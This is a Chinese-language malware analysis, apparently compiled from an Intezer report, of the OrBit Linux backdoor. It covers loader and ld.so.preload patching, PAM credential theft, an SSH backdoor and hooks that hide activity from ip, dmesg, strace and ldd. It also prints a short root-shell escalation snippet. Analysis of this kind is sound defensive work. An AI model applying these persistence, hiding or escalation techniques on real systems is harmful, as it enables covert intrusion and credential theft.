关键词
Linux威胁、OrBit、恶意软件
Interzer对一种新的完全未被检测到的Linux威胁进行深入的技术分析,将其命名为OrBit,因为这是恶意软件用来临时存储已执行命令输出的文件名之一。它可以安装为具有持久性能力或作为一个易失性的植入。该恶意软件实现了高级规避技术,并通过挂钩关键函数在机器上获得持久性能力,它还为威胁行动者提供了SSH远程访问、凭证获取、并记录TTY命令记录等能力。一旦安装了该恶意软件,它将感染所有正在机器上运行的、包括新进程在内的进程。
与其他威胁通过修改环境变量LD_PRELOAD来劫持共享库不同,这个恶意软件使用两种不同的方式来加载恶意库。第一种方法是将共享对象添加到加载器使用的配置文件中。第二种方法是对加载器本身的二进制文件打补丁,这样它就会加载恶意的共享对象。
图1:VT 67048a69a007c37f8be5d01a95f6a026上的下载程序样例
下载程序安装有效载荷并为恶意软件的执行准备环境。恶意软件可以安装为一个易变模块或具有持久性功能。它接收命令行参数,并根据这些参数将有效负载提取到某个位置。使用命令行参数,安装路径可以交换,有效负载的内容可以更新或完全卸载。以下将简单地使用“MALWARE_FOLDER”来指代安装恶意软件的位置。
为了安装有效负载并将其添加到动态连接器加载的共享库中,下载程序调用一个名为patch_ld的函数。首先,它读取动态链接器的符号链接/lib64/ld-linux-x86-64.so.2,并通过搜索恶意软件使用的路径来检查恶意负载是否已经加载。如果找到它,该函数可以将它与其他位置交换。否则,它会寻找/etc/ld.so并将其替换为指向恶意库所在位置的符号链接:/lib/ libntpvnqe6mk /.l或者/dev/shm/ldx/.L(取决于传递给下载程序的参数)。最后,它将添加/etc/ld.so.preload到临时文件的末尾,以确保首先加载恶意库。
在将恶意库加载到动态链接器之前,下载程序要确保将合法动态链接器的副本保存到MALWARE_FOLDER/.backup_ld.so中。因此,当需要时,它可以恢复环境,并使用合法数据隐藏恶意软件(下一节详细介绍)。
环境的准备是通过将唯一的组ID (GID)设置为恶意软件使用的路径来实现的。在我们分析的示例中,恶意载荷使用相同的GID,值为0xE0B2E。此外,下载程序将python从/usr/bin/python复制到MALWARE_FOLDER并创建4个将被恶意软件使用的额外文件:
/lib/libntpVnQE6mk/.logpam
/lib/libntpVnQE6mk/sshpass.txt
/lib/libntpVnQE6mk/sshpass2.txt
/lib/libntpVnQE6mk/.ports
import os
os.setreuid(0,0)
os.execv("/bin/bash", ("/bin/bash", "-i"))
if [ "$(id -u)" -ne 0 ] ; then
echo "Welcome to $(hostname). You are GID $(id -g), UID $(id -u) and about to be escalated to UID 0."
exec ~/bin/python ~/bin/escalator
fi
图2:VT ac89d638cb6912b58de47ac2a274b2fb上的有效载荷样例
有效负载是一个共享对象(.SO文件),可以放在永久存储中,例如/lib/ libntpvnqe6mk /,或者放在/dev/shm/ldx/下的共享内存中。如果它被放置在第一个路径,恶意软件将是持久的,否则它是易失的。
共享对象钩子来自 3 个库的函数::libc、libcap和可插拔身份验证模块(PAM)。使用这些函数的现有进程将基本上使用修改后的函数,而新的进程也将与恶意程序库挂钩,从而使恶意程序感染整个机器,获取凭证,逃避检测,获得持久性,并向攻击者提供远程访问。
图3:恶意软件中挂钩后的stat函数
该恶意软件的功能之一是在机器上建立远程连接,实现方式是挂钩Pluggable Authentication Module库中的3个函数:pam_open_session、pam_authenticate和pam_acct_mgmt。通过挂钩连接这些函数,恶意软件能够从SSH连接窃取信息,向攻击者提供远程访问,并隐藏网络活动。
当调用已挂钩的pam_authenticate时,它检查用户名和密码是否等于硬编码的值,如果相等,它将把用于连接的端口记录在/lib/ libntpvnqe6mk /.port,并打开SSH连接。在其他情况下,它将检查文件/lib/ libntpvnqe6mk /.logpam的存在(本文分析的示例中,它是由下载程序创建的),如果存在,它将把凭证记录到一个文件/lib/ libntpvnqe6mk /sshpass.txt。实际上,第一个文件用作标志。
图4:调用getgid系统调用检查进程的GID
该恶意软件挂钩打开文件的函数:fopen, open, open64和openat,并检查提供给相关打开函数的文件是否属于proc文件系统的一部分。正在检查的路径之一是/proc/net/tcp,因为它可以揭示由后门产生的网络流量。恶意软件处理该文件输出的方式类似于正在打开的其他文件,类似于Symbiote中的实现。钩住的函数读取文件的内容并将其与MALWARE_FOLDER/.ports的内容进行比较,每次一行。其中,MALWARE_FOLDER/.ports包含恶意软件使用的端口和地址信息。恶意软件会创建一个临时文件,并只写入不暴露恶意软件的行。一旦文件继续运行,恶意软件将临时文件的文件描述符返回给调用者。
下面的文件路径显示了当前映射的内存区域及其访问权限:
-
/proc/%PID%/maps
-
/proc/%PID%/smaps
-
/proc/%PID%/numa_maps
当一个进程访问这些文件之一时,它可能会公开共享库,因此挂接的open函数会采用与上述类似的方式,验证输出是否包含恶意软件所使用的目录的路径。
proc文件系统中被检查的另一个文件是/proc/loadavg。该文件由uptime等实用程序使用,它提供关于CPU使用情况和当前运行进程状态的信息。恶意软件将以类似于一个处理前述文件的方式处理来自这个文件的信息。
恶意软件挂钩execve 来逃避某些实用程序的检测,控制进程的行为,并通过感染新进程来保持其持久性。钩子逻辑检查进程名和路径,并将其与/bin、/usr和/sbin中的不同各种程序进行比较。
恶意软件使用挂钩的execve 函数来隐藏网络活动,恶意软件检查新进程是否为/usr/sbin和/sbin 下的ip或iptables实用程序, 如果是,它将首先执行命令,并将输出管道传输到一个本地缓冲区,在那里它将检查记录,与存储在MALWARE_FOLDER/.net或者MALWARE_FOLDER/.fw中的信息之间是否存在匹配,如果匹配则该记录将从命令的输出中被忽略。
当使用dmesg调用execve 时,恶意软件会忽略与MALWARE_FOLDER/.sys/.dmesg中的记录相同的记录,以及包含以下关键字之一的记录:zapping, tcpdump, promiscuous, libntpVnQE6mk, libdl.so。
execve 检查是否使用环境变量LD_TRACE_LOADED_OBJECTS调用了函数,当设置此变量时,程序将列出其动态依赖项。这个恶意软件将原始的(未打补丁的)动态链接器保存在一个备份文件中,所以当execve调用这个变量时,将显示的输出就像调用了合法的动态链接器,它将不会列出恶意库。此时,实际上执行的是以下命令:
MALWARE_FOLDER/.backup_ld --list %s
Strace 是另一个被挂钩的 execve 检查的实用程序。因为 strace 的输出可以将恶意库显示为被跟踪进程正在加载的库之一。可以使用 -o 标志执行 Strace,该标志指定输出将通过管道传输到的文件路径,如果未在命令中设置,恶意软件会将 strace 的输出写入 /tmp/.orbit。与其他实用程序类似,恶意软件执行命令并从输出文件中获取结果。接下来,它会忽略包含以下符号链接之一的记录:恶意库 (MALWARE_FOLDER/.l)、恶意软件使用的 GID (920366) 及其文件夹路径。
该恶意软件使用两种方法来实现持久性,同时使用这两种方法的原因是为了更加难以从受感染机器中移除该恶意软件。第一种方法将恶意软件的路径添加到 /etc/ld.so.preload 配置文件中。这指示加载程序应首先加载恶意软件并为所有新进程加载。在这种方法被阻止的情况下,例如删除受感染机器上的配置文件,恶意软件有第二种方法,即通过对加载程序二进制文件打补丁的方式来实现。
恶意软件首先会复制加载程序的二进制文件,以便对其进行打补丁。它在二进制文件中执行简单的搜索字符串“/etc/ld.so.preload”。找到后,它将字符串替换为 %MALWARE_FOLDER% 中文件的路径。该文件的内容含有恶意软件库的路径,可起到 ld.so.preload 配置文件的作用。这意味着当补丁加载器被执行时,它使用的是 %MALWARE_FOLDER% 中的文件而不是“/etc”下的文件。
恶意软件作者设置了这两种方法,以防其中一种方法失效。例如,如果管理员想通过删除“/etc”下的配置文件来阻止恶意软件的加载,隐藏文件就会显示,由于打过补丁的加载程序不使用该文件,它只会加载恶意软件并重新创建配置文件。如果管理员改用干净版本覆盖已打补丁的加载程序,则干净加载程序会通过“ld.so.preload”配置文件加载恶意软件并重新对加载程序打补丁。
图5:检查标志 sniff_ssh_session
对于调用 execve 的 bash 和 sh 进程,钩子将记录路径参数,该参数包含将作为新进程执行的文件的路径,钩子函数将附加时间戳和完整路径并将信息写入MALWARE_FOLDER/execlog。
libpcap 库中的后门挂钩函数可隐藏网络活动。 如果挂钩bind和connect函数以记录带有恶意软件 gid 的进程正在使用的端口,则这些端口将被写MALWARE_FOLDER/.ports。 后门使用此文件的内容来管理由后门活动打开的会话中使用的端口。当创建新的 SSH 会话时,端口和 IP 地址将被写入该文件。
恶意软件挂钩 pcap_loop 函数和 pcap_packet_callback 以过滤掉后门的流量。 为了完成这个任务,挂钩pcap_packet_callback 省略了 MALWARE_FOLDER/.ports 中的端口,因为它包含后门使用的所有端口。
虽然恶意软件挂钩函数很常见,但通常的技术是使用 LD_PRELOAD 加载共享库,Symbiote、HiddenWasp 和其他威胁就是这种情况。
该恶意软件使用 XOR 加密字符串并窃取密码,就像 ESET 报告的其他 Linux 后门。 但与其他威胁不同的是,这种恶意软件会从不同的命令和实用程序中窃取信息,并将它们存储在机器上的特定文件中。此外,还有大量使用文件来存储数据,是以前从未见过的。
这个恶意软件特别有趣的是挂钩受害者机器上几乎所有的封闭库,使得该恶意软件能够在窃取信息和设置 SSH 后门的同时获得持久性并逃避检测。
针对 Linux 的威胁在不断发展,同时成功地躲在安全工具的关注范围之外,现在 OrBit 是又一个说明新恶意软件是如何躲避监测和实现持久化的例子。
编辑|孟天宇
审校|何双泽、金矢
监制|姜政伟
本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。联系信息进入公众号后点击“关于我们”可见。
原文始发于微信公众号(国家网络威胁情报共享开放平台):OrBit:未被检测到的采用独特控制流劫持技术的新型Linux威胁